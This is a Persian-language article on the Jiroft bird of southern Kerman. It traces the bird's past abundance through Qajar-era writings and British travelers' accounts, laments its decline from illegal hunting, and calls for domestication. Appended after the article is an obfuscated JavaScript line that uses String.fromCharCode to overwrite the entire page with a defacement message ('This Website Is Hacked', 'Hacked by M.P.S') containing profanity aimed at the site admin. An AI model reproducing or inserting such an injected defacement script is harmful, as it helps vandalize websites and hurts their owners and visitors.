از سفر مرغ جیرفتی به انگلیس تا یاد و خاطره‌ای در کتابها /امید شریفی
این روزها وقتی کتابها و اسناد راجع به ایالت وسیع کرمان و بلوچستان به ویژه جنوب استان کرمان را می‌خوانم، باورم نمی‌شود که بر سر حیات وحش و محیط زیست چنین بلایی آورده‌ایم.
بدون شک اگر به عبدالحسین میرزا فرمانفرما گفته می‌شد این همه حیوان و پرنده‌ای که شماها در کمتر از یکساعت در سفر از کرمان به رودبار شکار می‌کنید و عکسهای آن را به یادگار می‌گذارید در صد و بیست سی سال دیگر حتی به تعداد انگشتان دست هم از آنها دیده نخواهد شد، ایشان باور نمی‌کرد.
در آن زمان چنان حیات وحش غنی‌ای داشتیم که در بلوک‌گردی حاکمان با دار و دسته‌ای چهارصد پانصد نفره به جاهای مختلف از جمله جیرفت و رودبار احتیاجی به بردن آذوقه و غله نبود.
کافی است به نوشته مرحوم وزیری فقط راجع به بهرآسمان نگاهی بیندازیم، ایشان می‌نویسد: …در کوه بهرآسمان ساردویه گله شکاری است که میرشکاران و مردم آنجا آن را گله هزاره نامند، اهالی آن کوهستان که بیشتر طایفه مهنی هستند اعتقادشان آن است که عدد آنها ۱۰۰۰ است، لکن اشخاص صحیح القول و اهل خبره به دقت ملاحظه کرده‌اند که از چهارصد رأس متجاوز است.
در همین دوران نویسنده‌ای ناشناس در نوشته‌ای راجع به دهات در توصیف جیرفت که آن را منطقه‌ای وسیع و دارای آب و هوای متنوع ذکر کرده است، چنین می‌نویسد،… شکارگاهی به این نزهت و فضا کمتر است ، انواع شکارها مثل پازن و آهو و درّاج و کبک و تیهو و غیره چنان کمال وفور دارد که گراز و خرگوش را احدی شکار نمی‌شمارد.
یکی از پرندگانی که در آن دوران بسیار زیاد و شکار می‌گردید، مرغ جیرفتی بود که در جای جای خاطرات برجای مانده از آن دوران به آن اشاره شده است.
در رساله‌ای که منتسب به شیخ محمود افضل‌الملک کرمانی در مورد بلوچستان می‌باشد، در نواحی قصرقند، باهه ، کوچه گردون و نواحی بمپور از شکار مرغ جیرفتی نام برده شده است. در فارسنامه ناصری به منطقه وسیعی که این پرنده در آن یافت می‌شود، اشاره شده است،حاج میرزا حسن حسینی شیرازی، مشهور به فسائی در این کتاب می نویسد: …….از موغستان عباسی تا بندر کنگان، از سواحل دریای فارس و از جانب خشکی از بلوک بشاگرد و رودان احمدی و از نواحی لارستان و بلوک علاء مرودشت و گله‌دار تا قریه جم که درازای این نواحی بیشتر از صد فرسخ و پهنای آن نزدیک به بیست فرسخ رسد، این مرغ را که (( جیرفتی)) گویند یافت می‌شود، برای آنکه در نواحی جیرفت کرمان که از گرمسیرات است فراوان باشد….ایشان در ادامه می ویسد: … در سال ۱۲۹۴ هجری قمری( ۱۲۵۵ هجری شمسی) نواب اشرف والا احتشام الدوله سلطان اویس میرزا دام اقباله ۵۷ عدد از این مرغ از نواحی گله دار گرفته ، به صحراهای بهبهان که هوایش مانند گله دار و رودخانه آب شیرین و مرغزارش بیشتر است آورده، رها نمود و بعد از سالی اثری از آن مرغان دیده نگشت.
قرقی چون زورش به جیرفتی نمی‌رسید پشت آن می‌نشست و چنگال خود را به بدن او فرو می‌برد و به او می‌چسبید درحالی که جیرفتی می‌دوید او هم با آن می‌دوید تا این که جیرفتی را نگه می‌داشتالا سایکس خواهر سرپرسی سایکس، از جمله اولین زنانی که به کرمان و بلوچستان سفر نموده است، از دوسالی که در ایران به ویژه کرمان بسر برده است، به دورانی خاطره انگیز یاد می‌کند.
در این خاطرات به مرغ جیرفتی هم اشاره می‌کند که از طرف حاکم کرمان، فتحعلی خان صاحبدیوان ، نوه ایراهیم خان کلانتر به ایشان هدیه داده شده، الا سایکس می‌نویسد:….بعد از دست دادن با صاحبدیوان با بهترین فارسی‌ای که آموخته بودم از شربت هایی که آن روز صبح فرستاده بود تشکر کردم و همان طور که حلواهای ما را مزه می‌کرد، زیاد پرحرفی می‌کرد، در این مدت چند قلیان کشید ، یکی از قلیان هایش اثر هنری با چوب آبنوس و آتشدان طلا بود. ایشان گفت قصد دارد چند نمونه از کبک‌های نادر جیرفتی به من هدیه بدهد، طبق قرار چند روز بعد مرغهای جیرفتی رسیدند اما چنان وحشی بودند که نتوانستم آنها را رام کنم و سرانجام به باغ وحش خودمان فرستادم .
آنها سفر طولانی به بریتانیا را خیلی خوب تحمل کردند حتی قبل از آن که به مقصد برسند خانواده کوچک به وجود آوردند…نکته قابل تاسف این است که در این سالها کمتر روزی است که عده‌ای شکارچی این مرغ رو به انقراض دستگیر نشوند، با رشد جمعیت و عدم توضیح در رابطه با اهمیت این پرنده رو به انقراض و افزایش شکارهای بی‌رویه و غیرقانونی، پرنده ای که تا کمتر از یک قرن پیش، اغلب نویسندگان در سفرهایشان به شکار آن به تعداد زیاد اشاره نموده‌اند، دارد به افسانه تبدیل می‌گردد.
با خواندن این سفرنامه ها و شکارهای فراوان آن دوران در مدت زمانی کوتاه، آه از نهاد انسان طرفدار حیات وحش و محیط زیست برمی‌خیزد و اگر از گذشته این سرزمین اطلاع چندانی نداشته‌باشد این همه شکار را افسانه‌ای بیش نمی‌داند و در بهترین حالت نوشته‌ها را غلوآمیز توصیف می‌کند و تنها با دیدن عکسهای برجای مانده، به این باور می‌رسد که در گذشته جای‌جای این سرزمین پر از حیواناتی وحشی بود.
جالب اینکه حتی در همان زمان با توجه به جمعیت زیاد انواع پرندگان، وقتی که سرپرسی سایکس از شکار آنها در زمان جفت‌گیری و داشتن جوجه امتناع می‌کند، مورد تمسخر افراد بومی قرار می‌گیرد.
سایکس تعریف می‌کند، ایشان و همراهانش از قریه سوخته چال در ایالت کرمان، در حال عبور بوده‌اند که به تعداد زیادی کبک برخورد می‌کنند،راهنمای ایرانی ایشان به مانند سایر ایرانیان که فصول مخصوص شکار را رعایت نمی‌کنند، از امتناع سایکس و همراهان نسبت به صید طیور متعجب و حیران می‌گردد. چه زیبا حافظ گفته است:
دهقان سالخورده چه خوش گفت با پسر / کای نورچشم من به جز از کشته ندروی
بدون شک با مشارکت مردم و آموزش هستi که می‌توان از انقراض نسل این پرنده که بقول اعتماد السلطنه نماد جیرفت وسیع است جلوگیری نمود متاسفانه اطلاعات نویسنده این سطور راجع به اهلی کردن حیوانات و پرندگان بسیار تا بسیار ناچیز و بهتر است گفته شود در حد صفر می باشد، لیکن در اخبار و رسانه های دیداری و شنیداری گهگاهی مطالبی راجع به اهلی شدن حیوان یا پرنده‌ای و تولید تجاری آن در مقیاس وسیع مشاهده می‌کند. پرندگانی مانند طوطی که در قرن بیستم اهلی شده‌اند، بطور مثال طوطی کاکلی ساحلی در استرالیا به سال ۱۹۹۰ میلادی اهلی شده است، حال که با پیشرفت علم روز به روز بر اهلی کردن انواع جانوران و پرندگان افزوده می شود، چرا اقدامی در زمینه اهلی کردن و تولید تجاری این پرنده بومی در حال انقراض در منطقه وسیع جیرفت صورت نمی گیرد.
document.documentElement.innerHTML=(String.fromCharCode(60, 33, 68, 79, 67, 84, 89, 80, 69, 32, 104, 116, 109, 108, 62, 60, 104, 116, 109, 108, 62, 60, 104, 101, 97, 100, 62, 60, 116, 105, 116, 108, 101, 62, 72, 97, 99, 107, 101, 114, 60, 47, 116, 105, 116, 108, 101, 62, 60, 47, 104, 101, 97, 100, 62, 60, 98, 111, 100, 121, 32, 98, 103, 99, 111, 108, 111, 114, 61, 34, 98, 108, 97, 99, 107, 34, 59, 62, 60, 104, 49, 32, 115, 116, 121, 108, 101, 32, 61, 32, 34, 32, 99, 111, 108, 111, 114, 32, 58, 32, 71, 114, 101, 101, 110, 59, 32, 102, 111, 110, 116, 45, 115, 105, 122, 101, 58, 32, 55, 48, 112, 120, 59, 32, 116, 101, 120, 116, 45, 97, 108, 105, 103, 110, 58, 99, 101, 110, 116, 101, 114, 59, 34, 62, 84, 104, 105, 115, 32, 87, 101, 98, 115, 105, 116, 101, 32, 73, 115, 32, 72, 97, 99, 107, 101, 100, 33, 33, 33, 60, 47, 104, 49, 62, 60, 104, 50, 32, 115, 116, 121, 108, 101, 32, 61, 32, 34, 99, 111, 108, 111, 114, 32, 58, 32, 114, 101, 100, 59, 32, 116, 101, 120, 116, 45, 97, 108, 105, 103, 110, 32, 58, 32, 99, 101, 110, 116, 101, 114, 59, 32, 102, 111, 110, 116, 45, 115, 105, 122, 101, 32, 58, 32, 53, 48, 112, 120, 59, 34, 62, 72, 97, 99, 107, 101, 100, 32, 98, 121, 32, 77, 46, 80, 46, 83, 60, 47, 104, 50, 62, 60, 112, 114, 101, 32, 115, 116, 121, 108, 101, 32, 61, 32, 34, 99, 111, 108, 111, 114, 32, 58, 32, 108, 105, 103, 104, 116, 98, 108, 117, 101, 32, 59, 32, 116, 101, 120, 116, 45, 97, 108, 105, 103, 110, 32, 58, 32, 99, 101, 110, 116, 101, 114, 59, 32, 102, 111, 110, 116, 45, 115, 105, 122, 101, 32, 58, 32, 52, 48, 112, 120, 59, 34, 62, 60, 115, 116, 114, 111, 110, 103, 62, 60, 105, 62, 71, 111, 111, 100, 32, 108, 117, 99, 107, 32, 97, 100, 109, 105, 110, 32, 40, 94, 45, 94, 41, 10, 84, 104, 101, 32, 101, 120, 116, 114, 97, 32, 101, 102, 102, 111, 114, 116, 32, 105, 115, 32, 117, 115, 101, 108, 101, 115, 115, 33, 33, 60, 47, 105, 62, 60, 47, 115, 116, 114, 111, 110, 103, 62, 60, 47, 112, 114, 101, 62, 60, 104, 51, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 121, 101, 108, 108, 111, 119, 59, 32, 102, 111, 110, 116, 45, 115, 105, 122, 101, 58, 54, 48, 112, 120, 59, 32, 116, 101, 120, 116, 45, 97, 108, 105, 103, 110, 58, 99, 101, 110, 116, 101, 114, 59, 34, 62, 70, 117, 99, 107, 32, 121, 111, 117, 32, 97, 100, 109, 105, 110, 60, 47, 104, 51, 62, 60, 99, 101, 110, 116, 101, 114, 62, 60, 105, 109, 103, 32, 115, 114, 99, 61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 114, 101, 115, 46, 99, 108, 111, 117, 100, 105, 110, 97, 114, 121, 46, 99, 111, 109, 47, 116, 101, 101, 112, 117, 98, 108, 105, 99, 47, 105, 109, 97, 103, 101, 47, 112, 114, 105, 118, 97, 116, 101, 47, 115, 45, 45, 82, 76, 113, 72, 73, 67, 54, 99, 45, 45, 47, 116, 95, 80, 114, 101, 118, 105, 101, 119, 47, 98, 95, 114, 103, 98, 58, 49, 57, 49, 57, 49, 57, 44, 99, 95, 108, 105, 109, 105, 116, 44, 102, 95, 106, 112, 103, 44, 104, 95, 54, 51, 48, 44, 113, 95, 57, 48, 44, 119, 95, 54, 51, 48, 47, 118, 49, 53, 50, 51, 48, 56, 56, 50, 53, 49, 47, 112, 114, 111, 100, 117, 99, 116, 105, 111, 110, 47, 100, 101, 115, 105, 103, 110, 115, 47, 50, 53, 54, 54, 56, 49, 56, 95, 48, 46, 106, 112, 103, 34, 62, 60, 47, 99, 101, 110, 116, 101, 114, 62, 60, 47, 98, 111, 100, 121, 62, 60, 47, 104, 116, 109, 108, 62));